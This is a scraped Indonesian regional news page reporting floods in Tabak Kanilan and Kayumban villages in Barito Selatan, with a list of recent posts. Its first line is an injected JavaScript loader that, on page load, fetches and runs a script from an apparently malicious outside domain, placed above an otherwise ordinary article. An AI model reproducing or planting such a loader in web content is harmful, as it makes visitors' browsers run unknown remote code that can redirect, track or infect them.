(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Dua Desa di Kecamatan Gunung Bintang Awai Diterjang Banjir


KANALKALIMANTAN.COM, BUNTOK – Curah hujan yang tinggi, membuat sebagian daerah di Kecamatan Gunung Bintang Awai (GBA) dilanda banjir, hingga menutupi badan jalan.

Camat GBA Yust Ellgoland mengatakan, dengan intensitas curah hujan yang cukup tinggi membuat sejumlah desa di Kecamatan GBA ada yang dilanda banjir.

“Jadi akibat curah hujan yang cukup tinggi ada 2 wilayah desa yang kena banjir,” kata Ellgoland kepada kanalkalimantan.com, Selasa (11/2/2020).

Ia mengungkapkan, desa yang terkena banjir antara lain desa Tabak Kanilan dan Desa Kayumban. Diman rata-rata ketinggian air mencapai 40 cm, sehingga berdampak pada aktifitas masyarakat, sekolah, dan akses lintas jalan.

“Akibat banjir di dua desa pada Kecamatan Gunung Bintang Awai ini mengakibatkan aktifitas masyarakat dan akses jalan terganggu,” ucap Ellgoland.

Lebih lanjut sebutnya, dampak kerugian akibat banjir kali ini untuk desa Tabak Kanilan antara lain, aktivitas masyarakat bekerja atau berkebun jadi terganggu akibat banjir. Selain itu jalan alternatif ke pasar dan kebun terputus akibat jembatan penyeberangan usaha tani runtuh terkena limbah kayu akibat arus sungai.

 

Sementara untuk banjir terjadi menggenangi sebagian dari Desa Tabak Kanilan yaitu di RT 2 dan RT 10  luasannya kurang lebih 10-20 hektare mencakup pemukiman, perkebunan dan persawahan.

Sementara untuk wilayah Desa Kayumban tidak jauh berbeda dengan Desa Tabak kanilan, untuk area banjir 20- 40 hektare, penyebab banjir lantaran meluapnya dua sungai yakni sungai sungai Ayuh dan sungai Ua.

Ditambahkan olehnya pada desa Kayumban kurang lebih 199 rumah yang terendam banjir dengan jumlah 239 KK. Terganggunya transportasi dikarenakan jalan desa terendam banjir sepanjang kurang lebih 200 meter dan sementara untuk sekolah juga diliburkan.

“Desa Kayumban sedikit lebih parah pada desa Tabak Kanilan, karena kerugian yang di alami akibat banjir lebih banyak dari desa Tabak Kanilan,” beber Elggolan.

Sementara kita masih melakukan pendataan, kepada masyarakat yang menjadi korban banjir, kira bisa bersabar dan terus waspada untuk menghindari dari  hal yang tidak diinginkan.

“Saat ini kita terus melakukan pendataan dan kita imbau kepada masyarakat untuk terus waspada dan bisa bersabar dari cobaan bencana alam ini,” pungkas Ellgoland. (kanalkalimantan.com/digdo)

Reporter : Digdo
Editor : Bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.